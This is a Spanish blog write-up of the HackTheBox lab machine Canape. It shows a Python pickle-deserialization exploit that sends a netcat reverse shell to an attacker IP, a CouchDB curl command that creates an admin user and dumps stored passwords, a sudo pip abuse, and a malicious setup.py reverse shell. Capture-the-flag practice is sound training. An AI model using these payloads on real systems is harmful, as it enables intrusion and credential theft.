En este post haremos la máquina Canape de HackTheBox.
Es una maquina Linux de un nivel medio y una de mis favoritas.
Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de todos los puertos con nmap:
nmap -p- 10.10.10.70 nmap -sC -sV -p80,65535 10.10.10.70
Como leemos en la salida del nmap, hay un git que podría tener algo interesante. Vamos a descargarlo para revisarlo:
git clone http://git.canape.htb
Añadimos la linea ‘10.10.10.70 git.canape.htb canape.htb‘ a nuestro fichero /etc/hosts
Ahora vamos a revisar la web:
Se trata de una Fan Page de los Simpsons. Vamos a ver que hay en el git:
Lo único interesante parece ser el fichero __init__.py :
import couchdb import string import random import base64 import cPickle from flask import Flask, render_template, request from hashlib import md5 app = Flask(__name__) app.config.update( DATABASE = "simpsons" ) db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]] @app.errorhandler(404) def page_not_found(e): if random.randrange(0, 2) > 0: return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250))) else: return render_template("index.html") @app.route("/") def index(): return render_template("index.html") @app.route("/quotes") def quotes(): quotes = [] for id in db: quotes.append({"title": db[id]["character"], "text": db[id]["quote"]}) return render_template('quotes.html', entries=quotes) WHITELIST = [ "homer", "marge", "bart", "lisa", "maggie", "moe", "carl", "krusty" ] @app.route("/submit", methods=["GET", "POST"]) def submit(): error = None success = None if request.method == "POST": try: char = request.form["character"] quote = request.form["quote"] if not char or not quote: error = True elif not any(c.lower() in char.lower() for c in WHITELIST): error = True else: # TODO - Pickle into dictionary instead, `check` is ready p_id = md5(char + quote).hexdigest() outfile = open("/tmp/" + p_id + ".p", "wb") outfile.write(char + quote) outfile.close() success = True except Exception as ex: error = True return render_template("submit.html", error=error, success=success) @app.route("/check", methods=["POST"]) def check(): path = "/tmp/" + request.form["id"] + ".p" data = open(path, "rb").read() if "p1" in data: item = cPickle.loads(data) else: item = data return "Still reviewing: " + item if __name__ == "__main__": app.run()
En este fichero vemos el funcionamiento del portal (http://canape.htb). Vemos que en el campo ‘char’ del /submit debemos añadir alguno de los elementos de WHITELIST, en cambio el campo ‘quote’ no tiene ninguna restricción y podemos incluir lo que queramos. Se creará un fichero en /tmp cuyo nombre será char + quote en MD5 y con la extensión .p que corresponde con la extensión de un fichero Pickle, el contenido de este fichero será char + quote.
Además vemos que si hacemos una POST request adecuada al /check (el parámetro id debe ser el char+quote en MD5 que habremos enviado al /submit), el sistema ejecutará el método cPickle.loads del contenido del fichero que se crea en el /submit.
Vamos a buscar vulnerabilidades de Pickle:
Encontramos: https://lincolnloop.com/blog/playing-pickle-security/
En esta página encontramos un pequeño script que nos permitira crear nuestro payload:
import os import cPickle # Exploit that we want the target to unpickle class Exploit(object): def __reduce__(self): return (os.system, ('ls',)) shellcode = cPickle.dumps(Exploit()) print shellcode
Como vemos en el gif, cPickle.loads ejecutará como comando del sistema el contenido de shellcode.
Como veiamos en el __init__.py n el campo ‘char’ de nuestro payload debemos añadir el nombre de algún personaje, veamos como ‘bypassear’ esto:
Obviamente el comando ‘homer’ no lo encuentra pero el pwd sí que nos lo ejecuta.
Explotación
Con todas las pruebas anteriores ya podemos crearnos nuestro payload:
import os import cPickle from hashlib import md5 import requests class Exploit(object): def __reduce__(self): return (os.system, ('homer:;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 7777 >/tmp/f',)) shellcode = cPickle.dumps(Exploit()) requests.post("http://10.10.10.70/submit", data={'character': shellcode.split(":")[0], 'quote': shellcode.split(":")[1]}) requests.post("http://10.10.10.70/check", data={'id': md5(shellcode.split(":")[0] + shellcode.split(":")[1]).hexdigest()})
Post-Explotación
Revisando la salida del LinEnum.sh o mediante netstat vemos que se está escuchando en el puerto 5984, que corresponde con CouchDB.
netstat -plnt
curl http://127.0.0.1:5984
Buscamos vulnerabilidades de CouchDB en la versión 2.0.0 y encontramos https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
Que nos permitirá crear un usuario con permisos para leer las bases de datos.
curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:oops' --data-binary '{"type": "user", "name": "manuqwerty","roles": ["_admin"],"roles": [],"password": "password"}' curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u oops:password
En la salida de estos comandos leemos:
"item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user"
En el fichero /etc/passwd encontramos que existe un usuario homer:
Una vez somos homer podemos acceder al primer flag. El siguiente paso será ver si podemos ejecutar algo como root:
sudo -l
Como veis podemos ejecutar pip install * como root!
Abusando de esto, para leer el flag nos bastará con:
sudo pip install -r /root/root.txt
Si queremos obtener shell cómo root, podemos crearnos un fichero setup.py malicioso que nos devuelva shell:
import socket import subprocess import os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.10",8080)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
0 comentarios
2 Pingbacks